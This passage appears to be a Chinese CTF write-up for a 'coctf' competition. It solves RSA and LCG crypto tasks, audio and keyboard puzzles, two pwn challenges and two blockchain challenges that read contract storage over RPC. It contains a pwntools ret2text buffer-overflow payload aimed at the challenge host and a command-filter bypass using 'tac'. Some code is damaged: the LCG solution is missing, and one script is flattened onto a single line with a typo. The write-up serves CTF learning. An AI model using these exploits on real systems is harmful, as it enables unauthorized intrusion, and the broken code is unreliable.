根据p和q的生成方式,可知(p-1)和(q-1)都是由前10000个素数中的若干个素数相乘得到的,如果把前10000个素数的乘积记为∏,则∏肯定为(p-1)和(q-1)的倍数,令∏ = k*(p-1),由费马小定理,a^(k*(b-1))-1是b的倍数,那么有2^∏-1是p的倍数,由于n=p*q,显然n也是p的倍数
可以联想到去计算gcd(2^∏-1, n) = p,得到p,但是直接计算2^∏的计算量会很大,所以再进一步优化:
2^∏ mod p = 1,即2^∏ = 1 + k1*p
而2^∏ % n = 2^∏ - k2*n = 2^∏ - k2*p*q
两边同时去 mod p,有2^∏ % n mod p = 2^∏ mod p (因为k2*p*q是p的倍数所以mod p 的结果是0)
而右边的2^∏ mod p = 1,所以同样有2^∏ % n mod p = 1 ,即2^∏ % n - 1 也是p的整数倍
因此只需要计算gcd((2^∏ % n)-1, n)即可,模幂计算会比直接幂计算快很多
n = 649501287113678183710881495821095038706433347508177118328444524544379827647411001492959401730398902691031803351425763069050149721899480918515863281862544304555107582931628640766297588062464702284207130030195654623788131272936385828861829814963123502295994731406949307817465678652626897034810049744013687590500734414111714927934691253207049618427720115447362653784166815314356311065971749000619888601207222237397218962943875141980732712790525654684039600322704874159209876190015070772185163546865490869324365143088049925804119963763295744294128272253745422344528140600973575415841962632030535881097190845980057653078224632523353117068627544636400493852709764256048288267154753262706157976301118768694975285787816441350835639563295686381112884701292408682513408500293769485059597102092043918414387453341778841423771445997087404180090364750852572237632604510135261433346201623279297417718284731442312679206255778520053981830379927311973830510790715369427964046475145555955261489157488927018730074967035565999948258818273286880389151830640297811555531783088417657800921993084972379350011936003067055945902226017357646767119865885703737741955126435532582754992047854235599153463943183178240535130816806885379166270870698178089066101699198063
e = 65537
c = 419739957806909189886588020072426967116803642120582446174053363567237207866214393271331916702426579148579522186258658890940716928816915813160951477344622463491875370575169498736220112510434454422852424701861868258243382432116841784511508313621320692506298671067559802699400709941135422529974637488491784215971869611873008488309967465003198696817399134133873983085113153743469395908669710547589435597176043293886401819505027556763941437032669377954618979279179176723626480404333046614185522010276300734563981184387247403979503911997147116464906057656143982000721298265081283870756237565620039069245655208092644181741955347360247988317114378930761228031409173279431294734405060648088727056927992710532361833662981678636325966921119348782931222877164440875101374085824582031052918820605586234199281008912396117425167427519461016851088858926617984471997992582698781950382486607075448790583617256484864093578195056883644158903630114887269313504723583985334051405291225625991264984784852359422854194509797925127954476905007296687118320772948067470456122957154527738493935099471446040651566472197219060631699462586747937521704825583806612692594082833431786000732361024333991422576443924125866610464699535454503198277331862683544542846984758328
import gmpy2
import binascii
from Crypto.Util.number import isPrime, sieve_base as primes
prd = 1
for i in primes:
prd *= i
p = gmpy2.gcd(gmpy2.powmod(2,prd,n)-1,n)
q = n // p
d = gmpy2.invert(e,(p-1)*(q-1))
m = gmpy2.powmod(c, d, n)
flag = bytes.fromhex(hex(m)[2:])
print(flag)
运行即可得到flag
8、LCG
直接求逆就可以恢复,但是并没有看见flag,猜测flag原本比m长,尝试在原本的基础上加m得到flag
seed0=10572116967826218644093532188674501006537359749875371996918119076519322650116739746621206706789409066295
seed1=9207133112241940729990836516378689743485079167146839392746646140063312474250385711768276318009086506605
seed2=10342485871140194494983751984109827592908081446436970191882863244621431053235895896424855234688879404227
a = 10571886643460864764294307017930847331888462790286474865896327100043715231421083606307651713581556706161
b = 11929045276237313437267275117613899707056913045944119206510192449036360863229553781009147300350092007599
m = 11166397609861010335438529485037747622824924570159554571021464938416419817879047831390677413850382677251
seed=seed0
运行得到coctf{6ca69499-d246-4496-988d-ca635a055ea4}
9、1024
去爆破k然后去恢复phi,因为phi和n很接近p和q很接近,我们去开根找素数恢复p,q,然后解rsa即可获得flag
d = 8484335338131548553463503670727043520227683693251832080327453182859910336543051948718410298032474144826017816380637249510691362857123178238210914288130438658263209643789055687426068688911839823710935358765189752643751020063635959490593959057038771251189726203715437683383833328704325347602363154313823348919391237718849028888066531620676589622808705292737112166259200536812465350145251176245452963305545733894885146959866659533533731213115987029219998216446524165025572910300642195635753999672167305180024652824391303903509262850786983541287943272186939967629414731793644926823160355293978897005219269527250791256321
c = 3913886060321590759871567267235885787359357455755122288512295402897299084160013869160412421673946325647406556140391667586487465066945879864951422212319607633860401385606060157771540372536211285709785134445944830324751005711628118375095066968810047740449266152853805027801179564667923107839647468606965702065141191943994372574369253143491446681964969758538499897512859788330060014899592272400190443358640871447083216057070071174902185064048213554371468780376797623829886415600436568695155357886113272532399037026843840582060884130233823729361329959243702276275162998863726651884619740497657710005927534599344995145717
e = 65537
import sympy.crypto
import gmpy2
e_d_1=e*d-1
p=0
q=0
for k in range(pow(2,15),pow(2,16)):#k的位数可通过e*d-1和p*q的位数判断大概
if e_d_1%k==0:
p=sympy.prevprime(gmpy2.iroot(e_d_1//k,2)[0])
q=sympy.nextprime(p)
if (p-1)*(q-1)*k==e_d_1:
break
n=p*q
m=gmpy2.powmod(c,d,n)
import binascii
print(binascii.unhexlify(hex(m)[2:]))
运行后得到flag
coctf{a1240ad3-fe24-44a3-80f9-33c5794ec271}
10、Telephone
播放后猜测是语音,放在在线DTMF拨号音识别网页,识别出来尝试,发现就是flag
11、看看你的键盘呢
第一个是一个base64解密一下出来一串数字,应该是和键盘有关但是确实不知道怎么对照的,观察数字规律应该是coctf{}格式在里面的那么我们可以根据已知的去进行推测后面的NDUyNDQ1MjAzMzI2MjEyNDIyNDUzMDQ4MzIyNDIzMjAyNw==
4524452033262124224530483224232027
45 c
24 o
20 t
33 f
26 {
27 }
coctf{youcandoit}
六、Pwn方向
1、Easy_shell
观察主函数可以发现,输入sh可以进入权限

进去了直接cat flag可以发现无法执行,查看函数可以看见对很多指令进行了过滤

但是没有过滤tac,直接tac flag即可读取flag
2、ret2text
Ida观察代码vuln存在read溢出

偏移的字符直接看buf的长度即可看出是0x1c然后是32位的程序再加上一个4,偏移到的地方可以看见win里面有权限,直接偏移到win函数的地址即可
rom pwn import *r=remote("ctf.ctbu.edu.cn",33677)#elf = ELF("./pwn")shell=0x8049196payload=b'a'*(0x1c+4)+p32(shell)r.recvuntil(b'Enter your payload: ')r.sendline(payload)r.interactive()
3、Pwn入门指北
根据指引操作即送
七、Blockchain
1、Password Checker
观察网页源码可以得到信息
RPC Endpoint: http://ctf.ctbu.edu.cn:33819/rpc
合约地址: 0x5FbDB2315678afecb367f032d93F642f64180aa3
ABI:
[{
"inputs": [{"internalType": "string", "name": "attempt", "type": "string"}],
"name": "check",
"outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
"stateMutability": "pure",
"type": "function"
}]
因为check
是pure
,查询得知,把flag常量存在合约代码中进行比较非常常见
决定直接下载字节码进行反编译得到合约的 EVM 字节码
curl -s http://ctf.ctbu.edu.cn:33819/rpc \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc":"2.0",
"id":1,
"method":"eth_getCode",
"params":["0x5FbDB2315678afecb367f032d93F642f64180aa3","latest"]
}'

可以从这里面明显的看到一段 ASCII 十六进制字符串
7f636f6374667b655445726e41495f624c75455f6665663064626637313161327d
转成 ASCII 即可得到flag:
coctf{eTErnAI_bLuE_fef0dbf711a2}
2、Password Checker 2
观察可知一个合约部署在私有链 RPC http://ctf.ctbu.edu.cn:33998/rpc
在 Eth中,合约的状态变量存储在 slot中,因此,我们可以枚举 storage slot 找到非零的那个,如果是动态变量,slot值为长度,计算数据起始 slot,最后再按长度去读取并拼接成明文
先用 curl
枚举前 50 个 slot
for i in $(seq 0 50); do
hex=$(printf '0x%x' $i)
echo "Slot $hex:"
curl -s -X POST http://ctf.ctbu.edu.cn:33998/rpc \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["0x5FbDB2315678afecb367F032d93F642f64180aa3","'$hex'","latest"],"id":1}'
done
返回如图

说明Slot 0 上的值 0x59
是动态变量长度,数据从 keccak256(0)
对应的 slot 开始
接下来Python 和 web3
计算:
from web3 import Web3
slot_index = (0).to_bytes(32, byteorder='big')
start_slot = Web3.keccak(slot_index)
print(start_slot.hex())
得到
0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
因为长度是 89 字节,每个 slot 存 32 字节,所以需要读取3 个 slot然后截取前 89 字节
import requests
import binascii
rpc_url = "http://ctf.ctbu.edu.cn:33998/rpc"
address = "0x5FbDB2315678afecb367F032d93F642f64180aa3"
length = 0x59
start_slot = 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
slot_count = (length + 31) // 32
data_bytes = b""
for i in range(slot_count):
slot_hex = hex(start_slot + i)
payload = {
"jsonrpc": "2.0",
"method": "eth_getStorageAt",
"params": [address, slot_hex, "latest"],
"id": 1
}
r = requests.post(rpc_url, json=payload).json()
chunk = bytes.fromhex(r["result"][2:])
data_bytes += chunk
flag_bytes = data_bytes[:length]
print("Flag:", flag_bytes.decode())
最后输出
Flag: coctf{4H_sh17_h3RE_w3_Go_4gAln_1cd0ae8f730c}
Comments NOTHING